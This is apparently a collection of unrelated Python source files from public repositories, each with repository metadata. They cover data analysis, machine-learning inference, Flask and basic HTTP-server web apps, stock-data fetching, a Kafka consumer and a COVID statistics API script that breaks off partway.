tau): return np.exp(-tau * x) _ = plt.figure(figsize=(10,8)) nl=1000 # Lag index for autocorrelation ACF=np.zeros((nl,p['n_area'])) m=np.zeros(p['n_area']) Tau_esti=np.zeros(p['n_area']) cols=['r','g','b','k'] # Colors for the plot para=(30) # Initial value for optimization for k in range(p['n_area']): ACF[:,k]=acf(r_exc[:,k], nlags=nl-1) plt.plot(np.arange(nl)*dt,ACF[:,k],cols[k],label=p['areas'][k]) # Cuve fitting params,_ = curve_fit(monoExp, np.arange(nl)*dt,ACF[:,k],para) #m[k]=params[0] Tau_esti[k]=params[0] plt.legend() plt.xlim(np.array([0, nl])*dt) plt.title("Autocorrelation of rate changes at different regions",size=20) plt.xlabel("Lags (msec)",size=14) plt.ylabel("Normalized Autocorrelation",size=14) _ = plt.figure(figsize=(12,10)) for k in range(p['n_area']): plt.subplot(int(str(22)+str(k+1))) plt.plot(np.arange(nl)*dt,ACF[:,k],label="ACF data") plt.plot(np.arange(nl)*dt, monoExp(np.arange(nl)*dt,Tau_esti[k]), '--', label="fitted") plt.title(p['areas'][k] + "-- Esti. Tau: "+ str(round(1/Tau_esti[k],2)) + " msec" ,size=20) """ ################ Creation of BOLD resting state from the neural signals ##### # Hemodynamic function def Hemodynamic(n,TR,tauh=1.25*1e3,d=2.25*1e3): # f=[] # for k in range(n): # f.append((((k*TR)-d)*np.exp(((k*TR)-d)/tauh))/tauh**2) return [(((k*TR)-d)*np.exp(-((k*TR)-d)/tauh))/tauh**2 for k in range(n) if k!=0] plt.plot(Hemodynamic(100,2)) ############ COMPUTATION OF functional connectivity matrix ############ # def AUTOcorr(x,lags=10): # M =len(x) # r =np.zeros(M) # One-sided autocorrelation # for i in range(M): # r[i]=(1/(M-i))*(sum(x[0:(M-i)] * x[i:M])) # Dot product in r # return(r[0:(lags+1)]) # lgs=1000 # AC1= AUTOcorr(r_exc[:,0],lgs) # AC2=AUTOcorr(r_exc[:,1],lgs) # plt.plot(AC1) # plt.plot(AC2/max(AC2)) # plt.show() # lgs=1000 # autocorrelation = np.correlate(r_exc[:,0], r_exc[:,0], mode="full") # sm.graphics.tsa.plot_acf(r_exc[:,0], lags=lgs) # sm.graphics.tsa.plot_acf(r_exc[:,1], lags=lgs) # sm.graphics.tsa.plot_acf(r_exc[:,2], lags=lgs) #import matplotlib #matplotlib.pyplot.xcorr(r_exc[:,1], r_exc[:,1], normed=True, maxlags=1000) # plt.plot(np.arange(nl)*dt,acf(r_exc[:,0], nlags=nl-1),'r',label=p['areas'][0]) # plt.plot(np.arange(nl)*dt,acf(r_exc[:,1], nlags=nl-1),'g',label=p['areas'][1]) # plt.plot(np.arange(nl)*dt,acf(r_exc[:,2], nlags=nl-1),'b',label=p['areas'][2]) # plt.plot(np.arange(nl)*dt,acf(r_exc[:,3], nlags=nl-1),'k',label=p['areas'][3]) # plt.legend() # plt.xlim(np.array([0, nl])*dt) # plt.title("Autocorrelation of rate changes at different regions",size=20) #plt.ylim([0,1.1]) """

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nitingupta180/sentiment-analysis

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import argparse import json import os import pickle import sys import sagemaker_containers import pandas as pd import numpy as np import torch import torch.nn as nn import torch.optim as optim import torch.utils.data from model import LSTMClassifier from utils import review_to_words, convert_and_pad def model_fn(model_dir): """Load the PyTorch model from the `model_dir` directory.""" print("Loading model.") # First, load the parameters used to create the model. model_info = {} model_info_path = os.path.join(model_dir, 'model_info.pth') with open(model_info_path, 'rb') as f: model_info = torch.load(f) print("model_info: {}".format(model_info)) # Determine the device and construct the model. device = torch.device("cuda" if torch.cuda.is_available() else "cpu") model = LSTMClassifier(model_info['embedding_dim'], model_info['hidden_dim'], model_info['vocab_size']) # Load the store model parameters. model_path = os.path.join(model_dir, 'model.pth') with open(model_path, 'rb') as f: model.load_state_dict(torch.load(f)) # Load the saved word_dict. word_dict_path = os.path.join(model_dir, 'word_dict.pkl') with open(word_dict_path, 'rb') as f: model.word_dict = pickle.load(f) model.to(device).eval() print("Done loading model.") return model def input_fn(serialized_input_data, content_type): print('Deserializing the input data.') if content_type == 'text/plain': data = serialized_input_data.decode('utf-8') return data raise Exception('Requested unsupported ContentType in content_type: ' + content_type) def output_fn(prediction_output, accept): print('Serializing the generated output.') return str(prediction_output) def predict_fn(input_data, model): print('Inferring sentiment of input data.') device = torch.device("cuda" if torch.cuda.is_available() else "cpu") if model.word_dict is None: raise Exception('Model has not been loaded properly, no word_dict.') # TODO: Process input_data so that it is ready to be sent to our model. # You should produce two variables: # data_X - A sequence of length 500 which represents the converted review # data_len - The length of the review input_data_to_words = review_to_words(input_data) data_X, data_len = convert_and_pad(model.word_dict, input_data_to_words) # Using data_X and data_len we construct an appropriate input tensor. Remember # that our model expects input data of the form 'len, review[500]'. data_pack = np.hstack((data_len, data_X)) data_pack = data_pack.reshape(1, -1) data = torch.from_numpy(data_pack) data = data.to(device) # Make sure to put the model into evaluation mode model.eval() # TODO: Compute the result of applying the model to the input data. The variable `result` should # be a numpy array which contains a single integer which is either 1 or 0 with torch.no_grad(): output = model.forward(data) result = np.round(output.numpy()) return result

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/011兔子生兔子.py

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minisstep/Runoob

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# -*- encoding: utf-8 -*- __author__ = 'xgj1010' __date__ = '2017/6/1 14:34' """ 题目：古典问题：有一对兔子，从出生后第3个月起每个月都生一对兔子，小兔子长到第三个月后每个月又生一对兔子，假如兔子都不死，问每个月的兔子总数为多少？程序分析：兔子的规律为数列1,1,2,3,5,8,13,21.... """ a = 1 b = 1 for i in range(1, 22): a, b = b, a+b print b

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/lib/googlecloudsdk/api_lib/ml/vision/util.py

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jordanistan/Google-Cloud-SDK

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# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Utilities for gcloud ml vision commands.""" import os import re from googlecloudsdk.api_lib.util import apis from googlecloudsdk.core import exceptions VISION_API = 'vision' VISION_API_VERSION = 'v1' IMAGE_URI_FORMAT = r'^(https{,1}?|gs)://' class Error(exceptions.Error): """Error for gcloud ml vision commands.""" class ImagePathError(Error): """Error if an image path is improperly formatted.""" def GetImageFromPath(path): """Builds an Image message from a path. Args: path: the path arg given to the command. Raises: ImagePathError: if the image path does not exist and does not seem to be a remote URI. Returns: vision_v1_messages.Image: an image message containing information for the API on the image to analyze. """ messages = apis.GetMessagesModule(VISION_API, VISION_API_VERSION) image = messages.Image() if os.path.isfile(path): with open(path, 'rb') as content_file: image.content = content_file.read() elif re.match(IMAGE_URI_FORMAT, path): image.source = messages.ImageSource(imageUri=path) else: raise ImagePathError( 'The image path does not exist locally or is not properly formatted. ' 'A URI for a remote image must be a Google Cloud Storage image URI, ' 'which must be in the form `gs://bucket_name/object_name`, or a ' 'publicly accessible image HTTP/HTTPS URL. Please double-check your ' 'input and try again.') return image

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jordan.robison@gmail.com

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/python_oop/product/product.py

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scottcdudley/python_stack

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refs/heads/master

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class Product(object): def __init__(self, price, item_name, weight, brand): self.price = price self.item_name = item_name self.weight = weight self.brand = brand self.status = "for sale" self.display_info() def sell(self): self.status = "sold" return self def add_tax(self, tax): return self.price * (1 + tax) def return_product(self, reason): if reason.lower() == "defective": self.price = 0 self.status = "Defective" elif reason.lower() == "like new": self.status = "for sale" elif reason.lower() == "open": self.status = "used" self.price *= 0.8 return self def display_info(self): print "Item Name: {}".format(self.item_name) print "Price: {}".format(self.price) print "Weight: {}".format(self.weight) print "Brand: {}".format(self.brand) print "Status: {}".format(self.status) return self product1 = Product(200, 'Zune', '10oz', 'Microsoft') print " " print product1.add_tax(0.1) print " " product1.sell() product1.display_info() print " " product1.return_product("defective") product1.display_info() print " " product2 = Product(1000, "iPod", "1lb", "Apple") print " " print product2.add_tax(0.7) print " " product2.sell() product2.display_info() print " " product2.return_product("open") product2.display_info() print " "

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scott.dudley@hotmail.com

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xxxxsk/learn_flask

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py

from flask import render_template, redirect, url_for, abort, flash, request,\ current_app, make_response from flask_login import login_required, current_user from flask_sqlalchemy import get_debug_queries from . import main from .forms import EditProfileForm, EditProfileAdminForm, PostForm,\ CommentForm from .. import db from ..models import Permission, Role, User, Post, Comment from ..decorators import admin_required, permission_required @main.after_app_request def after_request(response): for query in get_debug_queries(): if query.duration >= current_app.config['FLASKY_SLOW_DB_QUERY_TIME']: current_app.logger.warning( 'Slow query: %s\nParameters: %s\nDuration: %fs\nContext: %s\n' % (query.statement, query.parameters, query.duration, query.context)) return response @main.route('/shutdown') def server_shutdown(): if not current_app.testing: abort(404) shutdown = request.environ.get('werkzeug.server.shutdown') if not shutdown: abort(500) shutdown() return 'Shutting down...' @main.route('/', methods=['GET', 'POST']) def index(): form = PostForm() if current_user.can(Permission.WRITE) and form.validate_on_submit(): post = Post(body=form.body.data, author=current_user._get_current_object()) db.session.add(post) db.session.commit() return redirect(url_for('.index')) page = request.args.get('page', 1, type=int) show_followed = False if current_user.is_authenticated: show_followed = bool(request.cookies.get('show_followed', '')) if show_followed: query = current_user.followed_posts else: query = Post.query pagination = query.order_by(Post.timestamp.desc()).paginate( page, per_page=current_app.config['FLASKY_POSTS_PER_PAGE'], error_out=False) posts = pagination.items return render_template('index.html', form=form, posts=posts, show_followed=show_followed, pagination=pagination) @main.route('/user/<username>') def user(username): user = User.query.filter_by(username=username).first_or_404() page = request.args.get('page', 1, type=int) pagination = user.posts.order_by(Post.timestamp.desc()).paginate( page, per_page=current_app.config['FLASKY_POSTS_PER_PAGE'], error_out=False) posts = pagination.items return render_template('user.html', user=user, posts=posts, pagination=pagination) @main.route('/edit-profile', methods=['GET', 'POST']) @login_required def edit_profile(): form = EditProfileForm() if form.validate_on_submit(): current_user.name = form.name.data current_user.location = form.location.data current_user.about_me = form.about_me.data db.session.add(current_user._get_current_object()) db.session.commit() flash('Your profile has been updated.') return redirect(url_for('.user', username=current_user.username)) form.name.data = current_user.name form.location.data = current_user.location form.about_me.data = current_user.about_me return render_template('edit_profile.html', form=form) @main.route('/edit-profile/<int:id>', methods=['GET', 'POST']) @login_required @admin_required def edit_profile_admin(id): user = User.query.get_or_404(id) form = EditProfileAdminForm(user=user) if form.validate_on_submit(): user.email = form.email.data user.username = form.username.data user.confirmed = form.confirmed.data user.role = Role.query.get(form.role.data) user.name = form.name.data user.location = form.location.data user.about_me = form.about_me.data db.session.add(user) db.session.commit() flash('The profile has been updated.') return redirect(url_for('.user', username=user.username)) form.email.data = user.email form.username.data = user.username form.confirmed.data = user.confirmed form.role.data = user.role_id form.name.data = user.name form.location.data = user.location form.about_me.data = user.about_me return render_template('edit_profile.html', form=form, user=user) @main.route('/post/<int:id>', methods=['GET', 'POST']) def post(id): post = Post.query.get_or_404(id) form = CommentForm() if form.validate_on_submit(): comment = Comment(body=form.body.data, post=post, author=current_user._get_current_object()) db.session.add(comment) db.session.commit() flash('Your comment has been published.') return redirect(url_for('.post', id=post.id, page=-1)) page = request.args.get('page', 1, type=int) if page == -1: page = (post.comments.count() - 1) // \ current_app.config['FLASKY_COMMENTS_PER_PAGE'] + 1 pagination = post.comments.order_by(Comment.timestamp.asc()).paginate( page, per_page=current_app.config['FLASKY_COMMENTS_PER_PAGE'], error_out=False) comments = pagination.items return render_template('post.html', posts=[post], form=form, comments=comments, pagination=pagination) @main.route('/edit/<int:id>', methods=['GET', 'POST']) @login_required def edit(id): post = Post.query.get_or_404(id) if current_user != post.author and \ not current_user.can(Permission.ADMIN): abort(403) form = PostForm() if form.validate_on_submit(): post.body = form.body.data db.session.add(post) db.session.commit() flash('The post has been updated.') return redirect(url_for('.post', id=post.id)) form.body.data = post.body return render_template('edit_post.html', form=form) @main.route('/follow/<username>') @login_required @permission_required(Permission.FOLLOW) def follow(username): user = User.query.filter_by(username=username).first() if user is None: flash('Invalid user.') return redirect(url_for('.index')) if current_user.is_following(user): flash('You are already following this user.') return redirect(url_for('.user', username=username)) current_user.follow(user) db.session.commit() flash('You are now following %s.' % username) return redirect(url_for('.user', username=username)) @main.route('/unfollow/<username>') @login_required @permission_required(Permission.FOLLOW) def unfollow(username): user = User.query.filter_by(username=username).first() if user is None: flash('Invalid user.') return redirect(url_for('.index')) if not current_user.is_following(user): flash('You are not following this user.') return redirect(url_for('.user', username=username)) current_user.unfollow(user) db.session.commit() flash('You are not following %s anymore.' % username) return redirect(url_for('.user', username=username)) @main.route('/followers/<username>') def followers(username): user = User.query.filter_by(username=username).first() if user is None: flash('Invalid user.') return redirect(url_for('.index')) page = request.args.get('page', 1, type=int) pagination = user.followers.paginate( page, per_page=current_app.config['FLASKY_FOLLOWERS_PER_PAGE'], error_out=False) follows = [{'user': item.follower, 'timestamp': item.timestamp} for item in pagination.items] return render_template('followers.html', user=user, title="Followers of", endpoint='.followers', pagination=pagination, follows=follows) @main.route('/followed_by/<username>') def followed_by(username): user = User.query.filter_by(username=username).first() if user is None: flash('Invalid user.') return redirect(url_for('.index')) page = request.args.get('page', 1, type=int) pagination = user.followed.paginate( page, per_page=current_app.config['FLASKY_FOLLOWERS_PER_PAGE'], error_out=False) follows = [{'user': item.followed, 'timestamp': item.timestamp} for item in pagination.items] return render_template('followers.html', user=user, title="Followed by", endpoint='.followed_by', pagination=pagination, follows=follows) @main.route('/all') @login_required def show_all(): resp = make_response(redirect(url_for('.index'))) resp.set_cookie('show_followed', '', max_age=30*24*60*60) return resp @main.route('/followed') @login_required def show_followed(): resp = make_response(redirect(url_for('.index'))) resp.set_cookie('show_followed', '1', max_age=30*24*60*60) return resp @main.route('/moderate') @login_required @permission_required(Permission.MODERATE) def moderate(): page = request.args.get('page', 1, type=int) pagination = Comment.query.order_by(Comment.timestamp.desc()).paginate( page, per_page=current_app.config['FLASKY_COMMENTS_PER_PAGE'], error_out=False) comments = pagination.items return render_template('moderate.html', comments=comments, pagination=pagination, page=page) @main.route('/moderate/enable/<int:id>') @login_required @permission_required(Permission.MODERATE) def moderate_enable(id): comment = Comment.query.get_or_404(id) comment.disabled = False db.session.add(comment) db.session.commit() return redirect(url_for('.moderate', page=request.args.get('page', 1, type=int))) @main.route('/moderate/disable/<int:id>') @login_required @permission_required(Permission.MODERATE) def moderate_disable(id): comment = Comment.query.get_or_404(id) comment.disabled = True db.session.add(comment) db.session.commit() return redirect(url_for('.moderate', page=request.args.get('page', 1, type=int)))

[ "1306237818@qq.com" ]

1306237818@qq.com

14dfa0a6647e1c79cd33c076529270c16b054056

09933dafbbc12fe20c405362850ffbf315b01a58

/src-tag-ent/gen_data.py

fbddab6277c97047553db17485a2206acc0a6875

[]

no_license

johndpope/advrelation

1ce1fd4ffc0b7abbea2762c3a8941b469c4f7cf5

bc77dcfa8669d612aded6a053fff6766798bed14

refs/heads/master

2020-03-22T22:55:48.664711

2018-03-03T04:43:11

null

0

null

UTF-8

Python

false

1,447

py

import tensorflow as tf import config as config_lib from inputs import dataset, semeval_v2 tf.logging.set_verbosity(tf.logging.INFO) config = config_lib.get_config() semeval_text = semeval_v2.SemEvalCleanedTextData( config.semeval_dir, config.semeval_train_file, config.semeval_test_file) # length statistics semeval_text.length_statistics() # gen vocab vocab = dataset.Vocab(config.out_dir, config.vocab_file) # vocab.generate_vocab(semeval_text.tokens()) # # trim embedding # embed = dataset.Embed(config.out_dir, config.trimmed_embed300_file, config.vocab_file) # google_embed = dataset.Embed(config.pretrain_embed_dir, # config.google_embed300_file, config.google_words_file) # embed.trim_pretrain_embedding(google_embed) # build SemEval record data semeval_text.set_vocab(vocab) tag_encoder = dataset.Label(config.semeval_dir, config.semeval_tags_file) semeval_text.set_tags_encoder(tag_encoder) semeval_record = semeval_v2.SemEvalCleanedRecordData(semeval_text, config.out_dir, config.semeval_train_record, config.semeval_test_record) semeval_record.generate_data() # INFO:tensorflow:(percent, quantile) [(50, 18.0), (70, 22.0), (80, 25.0), # (90, 29.0), (95, 34.0), (98, 40.0), (100, 97.0)] # INFO:tensorflow:generate vocab to data/generated/vocab.txt # INFO:tensorflow:trim embedding to data/generated/embed300.trim.npy # INFO:tensorflow:generate TFRecord data

[ "lzh00776@163.com" ]

lzh00776@163.com

671509fb4a1c6376bd546e9658ab0498782e94ab

bece006a37d0041d36416bc888afc96db4046f87

/BACK/CYBEROPS-master/KAFKA/main_consumer_emotion.py

4c5685945dfabb36fe9e260c2a52ee72b2e4dc45

[]

no_license

acorredera/CyberOps

fdd8bca69db1ae98ce4cf36e010286e07972754b

14f1a8a9c09864af5d84094ae8f8c2f41124d8c4

refs/heads/master

2023-03-18T05:16:41.961552

2022-09-27T05:07:46

134,832,725

0

1

null

2023-03-03T00:49:14

2018-05-25T09:10:33

Jupyter Notebook

UTF-8

Python

false

872

py

import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), '..')) import NewsCore.dao.EmployeeDAOImpl as dao import KAFKA.Consumer as consumer import settings as settings if __name__ == "__main__": #variables ip_DCOS_cassandra = settings.ip_DCOS_cassandra keyspace = settings.keyspace_cassandra topic = 'cyberops_emotion' field2Extract = "emotion" #loading of the cassandra seesion, creatiopn of table (if needded) daoStatus = dao.EmployeeDAOImpl() daoStatus.createsession(ip_DCOS_cassandra) daoStatus.setlogger() daoStatus.loadkeyspace(keyspace) daoStatus.create_table() #only if table is not created previously #run consumer for emotions: consumer_emotion = consumer.Consumer(topic=topic, field2Extract=field2Extract, DAO=daoStatus, ip_kafka_DCOS=settings.ip_kafka_DCOS) consumer_emotion.run()

[ "noreply@github.com" ]

acorredera.noreply@github.com

c53c1612861b020945bf712d8bad9215e5e30760

8b2b3f9e706a13caeae1c58eaf9c8421cb7155e0

/Source/FetchData/Fetch_Data_Stock_CHN_Daily.py

20696a43119f5f91a09aa99a355d3f8610ccddd3

[ "MIT" ]

permissive

hyy1101/StockRecommendSystem

809ce2c001c0df395cc2953bf3a2e6254a591c02

188dd006d23a0280106a79895885ad4f9acb4cea

refs/heads/master

2020-12-02T16:15:19.536621

2017-07-07T03:29:21

null

0

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UTF-8

Python

false

7,916

py

import sys, os, time, datetime, requests, warnings, configparser import pandas as pd import numpy as np import tushare as ts import concurrent.futures from tqdm import tqdm cur_path = os.path.dirname(os.path.abspath(__file__)) for _ in range(2): root_path = cur_path[0:cur_path.rfind('/', 0, len(cur_path))] cur_path = root_path sys.path.append(root_path + "/" + 'Source/DataBase/') from DB_API import queryStock, storeStock, queryStockList, storeStockList, queryStockPublishDay, storePublishDay def getStocksList(root_path): try: df = queryStockList(root_path, "DB_STOCK", "SHEET_CHN_DAILY") df.index = df.index.astype(str).str.zfill(6) except Exception as e: df = pd.DataFrame() if df.empty == False: return df stock_info = ts.get_stock_basics() listData = pd.DataFrame(stock_info) #listData.index.name = 'symbol' #listData.index = listData.index.astype(str).str.zfill(6) #[str(symbol).zfill(6) for symbol in listData.index] #listData.index.astype(str).str.zfill(6) #print(listData.index) #listData['symbol'] = listData['symbol'].str.strip() storeStockList(root_path, "DB_STOCK", "SHEET_CHN_DAILY", listData) df = queryStockList(root_path, "DB_STOCK", "SHEET_CHN_DAILY") df.index = df.index.astype(str).str.zfill(6) return df def getSingleStock(symbol): repeat_times = 1 message = "" df = pd.DataFrame() for _ in range(repeat_times): try: data = ts.get_hist_data(symbol) data.sort_index(ascending=True, inplace=True) return data, "" except Exception as e: message = symbol + " fetch exception: " + str(e) continue return df, message def getSingleStockByTime(symbol, from_date, till_date): start = from_date.split('-') start_y, start_m, start_d = start[0], start[1], start[2] # starting date end = till_date.split('-') end_y, end_m, end_d = end[0], end[1], end[2] # until now repeat_times = 1 message = "" df = pd.DataFrame() for _ in range(repeat_times): try: data = ts.get_hist_data(symbol, from_date, till_date) data.sort_index(ascending=True, inplace=True) return data, "" except Exception as e: message = symbol + " fetch exception: " + str(e) continue return df, message def judgeOpenDaysInRange(from_date, to_date): holidays=["2017-01-01", "2017-01-02", "2017-01-27", "2017-01-28", "2017-01-29", "2017-01-30", "2017-01-31", "2017-02-01", "2017-02-02", "2017-04-02", "2017-04-03", "2017-04-04", "2017-05-01", "2017-05-28", "2017-05-29", "2017-05-30", "2017-10-01", "2017-10-02", "2017-10-03", "2017-10-04", "2017-10-05","2017-10-06","2017-10-07","2017-10-08"] #holidays = cal.holidays(from_date, to_date) duedays = pd.bdate_range(from_date, to_date) df = pd.DataFrame() df['date'] = duedays df['holiday'] = duedays.isin(holidays) opendays = df[df['holiday'] == False] return opendays def judgeNeedPostDownload(from_date, to_date): today = datetime.datetime.now() start_date = pd.Timestamp(from_date) end_date = pd.Timestamp(to_date) if start_date > today: return False if end_date > today: to_date = today.strftime("%Y-%m-%d") dateList = judgeOpenDaysInRange(from_date, to_date) if len(dateList) > 0: return True return False def updateSingleStockData(root_path, symbol, force_check): startTime = time.time() message = "" if len(symbol) == 0: return startTime, message till_date = (datetime.datetime.now()).strftime("%Y-%m-%d") end_date = pd.Timestamp(till_date) stockData, lastUpdateTime = queryStock(root_path, "DB_STOCK", "SHEET_CHN_DAILY", symbol) if stockData.empty: stockData, message = getSingleStock(symbol) if stockData.empty == False: storeStock(root_path, "DB_STOCK", "SHEET_CHN_DAILY", symbol, stockData) return startTime, message modified = False first_date = pd.Timestamp(stockData.index[0]) last_date = pd.Timestamp(stockData.index[-1]) updateOnce = end_date > lastUpdateTime if end_date > last_date and (updateOnce or force_check): to_date = (last_date + datetime.timedelta(days=1)).strftime("%Y-%m-%d") if judgeNeedPostDownload(to_date, till_date): message = message + ", download post data from " + to_date + " to " + till_date moreStockData, tempMessage = getSingleStockByTime(symbol, to_date, till_date) message = message + tempMessage if len(moreStockData) > 0: if isinstance(moreStockData.index, pd.DatetimeIndex): moreStockData.index = moreStockData.index.strftime("%Y-%m-%d") modified = True stockData = pd.concat([stockData, moreStockData]) stockData.index.name = 'date' if modified: stockData = stockData[~stockData.index.duplicated(keep='first')] storeStock(root_path, "DB_STOCK", "SHEET_CHN_DAILY", symbol, stockData) elif updateOnce: stockData = stockData[~stockData.index.duplicated(keep='first')] storeStock(root_path, "DB_STOCK", "SHEET_CHN_DAILY", symbol, stockData) message = message + ", nothing updated" else: message = "" return startTime, message def updateStockData_CHN(root_path, storeType, force_check = False): symbols = getStocksList(root_path).index.values.tolist() pbar = tqdm(total=len(symbols)) if storeType == 2: for symbol in symbols: startTime, message = updateSingleStockData(root_path, symbol, force_check) outMessage = '%-*s fetched in: %.4s seconds' % (6, symbol, (time.time() - startTime)) pbar.set_description(outMessage) pbar.update(1) if storeType == 1: log_errors = [] log_update = [] with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor: # Start the load operations and mark each future with its URL future_to_stock = {executor.submit(updateSingleStockData, root_path, symbol, force_check): symbol for symbol in symbols} for future in concurrent.futures.as_completed(future_to_stock): stock = future_to_stock[future] try: startTime, message = future.result() except Exception as exc: startTime = time.time() log_errors.append('%r generated an exception: %s' % (stock, exc)) else: if len(message) > 0: log_update.append(message) outMessage = '%-*s fetched in: %.4s seconds' % (6, stock, (time.time() - startTime)) pbar.set_description(outMessage) pbar.update(1) if len(log_errors) > 0: print(log_errors) # if len(log_update) > 0: print(log_update) pbar.close() return symbols if __name__ == "__main__": pd.set_option('precision', 3) pd.set_option('display.width',1000) warnings.filterwarnings('ignore', category=pd.io.pytables.PerformanceWarning) config = configparser.ConfigParser() config.read(root_path + "/" + "config.ini") storeType = int(config.get('Setting', 'StoreType')) if storeType == 1: from Start_DB_Server import StartServer, ShutdownServer # start database server (async) thread = StartServer(root_path) # wait for db start, the standard procedure should listen to # the completed event of function "StartServer" time.sleep(5) updateStockData_CHN(root_path, storeType) if storeType == 1: # stop database server (sync) time.sleep(5) ShutdownServer()

[ "bluelight598@hotmail.com" ]

bluelight598@hotmail.com

cf7421dbfc41eb8a9f6c8c4c9cbaf20c7230e672

7c2bc909efb6db08e57ed3dbff801bece3ac24c8

/0x04-python-more_data_structures/10-best_score.py

26dee3325ad643adcaaaa3e9d95024c01c2e8e0f

[]

no_license

EstephaniaCalvoC/holbertonschool-higher_level_programming

9ed1009702b6aacb3b82b890e1798052adf40f33

93c6206b07d6cb51bcbee0bea4054343fca51fad

refs/heads/master

2023-04-24T19:30:07.828255

2021-05-12T19:55:29

319,314,341

0

1

null

UTF-8

Python

false

181

py

#!/usr/bin/python3 def best_score(a_dictionary): """Return a key with the biggest integer value""" return max(a_dictionary, key=a_dictionary.get) if a_dictionary else None

[ "2177@holbertonschool.com" ]

2177@holbertonschool.com

de9e3acfbffdda6fd7604526072436235d2acd6a

55ebfaee562197eb29694ee7d95d4073239bede1

/webserver4.py

9240a1bc8f206992a76f876e395754ad60698250

[]

no_license

YuriyZaliznyuk/RestaurantMenu

573561f7389c86db167dd36aaf2a5f8dd6d3e48a

6af4511625718aabe5b9ee5ea0ccee6fd499b44d

refs/heads/master

2021-03-12T21:56:57.893046

2015-07-17T15:37:07

38,889,739

0

null

UTF-8

Python

false

5,650

py

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import cgi # import CRUD Operations from Lesson 1 from database_setup import Base, Restaurant, MenuItem from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker # Create session and connect to DB engine = create_engine('sqlite:///restaurantmenu.db') Base.metadata.bind = engine DBSession = sessionmaker(bind=engine) session = DBSession() class webServerHandler(BaseHTTPRequestHandler): def do_GET(self): try: # Objective 3 Step 2 - Create /restarants/new page if self.path.endswith("/restaurants/new"): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() output = "" output += "<html><body>" output += "<h1>Make a New Restaurant</h1>" output += "<form method = 'POST' enctype='multipart/form-data' action = '/restaurants/new'>" output += "<input name = 'newRestaurantName' type = 'text' placeholder = 'New Restaurant Name'>" output += "<input type='submit' value='Create'>" output += "</form></html></body>" self.wfile.write(output) return if self.path.endswith("/edit"): restaurantIDPath = self.path.split("/")[2] myRestaurantQuery = session.query(Restaurant).filter_by(id = restaurantIDPath).one() if myRestaurantQuery: self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() output = "<html><body>" output += "<h1>" output += myRestaurantQuery.name output += "</h1>" output += "<form method='POST' enctype='multipart/form-data' action = '/restaurants/%s/edit' >" % restaurantIDPath output += "<input name = 'newRestaurantName' type='text' placeholder = '%s' >" % myRestaurantQuery.name output += "<input type = 'submit' value = 'Rename'>" output += "</form>" output += "</body></html>" self.wfile.write(output) if self.path.endswith("/restaurants"): restaurants = session.query(Restaurant).all() output = "" # Objective 3 Step 1 - Create a Link to create a new menu item output += "<a href = '/restaurants/new' > Make a New Restaurant Here </a></br></br>" self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() output += "<html><body>" for restaurant in restaurants: output += restaurant.name output += "</br>" # Objective 2 -- Add Edit and Delete Links # Objective 4 -- Replace Edit href output += "<a href ='/restaurants/%s/edit' >Edit </a> " % restaurant.id output += "</br>" output += "<a href =' #'> Delete </a>" output += "</br></br></br>" output += "</body></html>" self.wfile.write(output) return except IOError: self.send_error(404, 'File Not Found: %s' % self.path) # Objective 3 Step 3- Make POST method def do_POST(self): try: if self.path.endswith("/edit"): ctype, pdict = cgi.parse_header(self.headers.getheader('content-type')) if ctype == 'multipart/form-data': fields = cgi.parse_multipart(self.rfile, pdict) messagecontent = fields.get('newRestaurantName') restaurantIDPath = self.path.split("/")[2] myRestaurantQuery = session.query(Restaurant).filter_by(id = restaurantIDPath).one() if myRestaurantQuery != []: myRestaurantQuery.name = messagecontent[0] session.add(myRestaurantQuery) session.commit() self.send_response(301) self.send_header('Content-type', 'text/html') self.send_header('Location', '/restaurants') self.end_headers() if self.path.endswith("/restaurants/new"): ctype, pdict = cgi.parse_header(self.headers.getheader('content-type')) if ctype == 'multipart/form-data': fields = cgi.parse_multipart(self.rfile, pdict) messagecontent = fields.get('newRestaurantName') # Create new Restaurant Object newRestaurant = Restaurant(name=messagecontent[0]) session.add(newRestaurant) session.commit() self.send_response(301) self.send_header('Content-type', 'text/html') self.send_header('Location', '/restaurants') self.end_headers() except: pass def main(): try: server = HTTPServer(('', 8080), webServerHandler) print 'Web server running...open localhost:8080/restaurants in your browser' server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down server' server.socket.close() if __name__ == '__main__': main()

[ "yuriy.zaliznyuk@gmail.com" ]

yuriy.zaliznyuk@gmail.com

e0b39a708b67f44501522e21058f0a57a5d4d895

727d968a63a6dfdd05a7e0f7abc1a3be7a910ca3

/covid_api_github.py

0869f9779309cd74f0c016051880af43e0697ef9

[]

no_license

ericstar20/COVID19_api

3a4501f905172b9705e72798af8d9bb4027a2a9a

4313e073992a975878088135a09cf9bc6e951175

refs/heads/master

2022-11-27T21:54:06.581868

2020-07-17T16:27:04

280,244,263

0

null

UTF-8

Python

false

4,926

py

def covid_api_sql(): import numpy as np import pandas as pd import matplotlib.pyplot as plt # API import requests import json # DB import pymysql from sqlalchemy import create_engine pymysql.install_as_MySQLdb() # AWS import aws_config # Set up API keys to get access permission def getStats(country): api_url = 'https://api.smartable.ai/coronavirus/stats/'+country api_params = { 'Cache-Control': 'no-cache', 'Subscription-Key': 'your key', } r = requests.get(url=api_url, params=api_params) return r.text # Get Data data = getStats('global') jsonData = json.loads(data) jsonData.keys() # Create three dataframe. One is Global total, the other is each country(state) info. # Global df update_T = jsonData['updatedDateTime'] totalConfirmedCases = jsonData['stats']['totalConfirmedCases'] newlyConfirmedCases = jsonData['stats']['newlyConfirmedCases'] totalDeaths = jsonData['stats']['totalDeaths'] newDeaths = jsonData['stats']['newDeaths'] totalRecoveredCases = jsonData['stats']['totalRecoveredCases'] newlyRecoveredCases = jsonData['stats']['newlyRecoveredCases'] global_list = [[update_T, totalConfirmedCases, totalDeaths, totalRecoveredCases, newlyConfirmedCases, newDeaths, 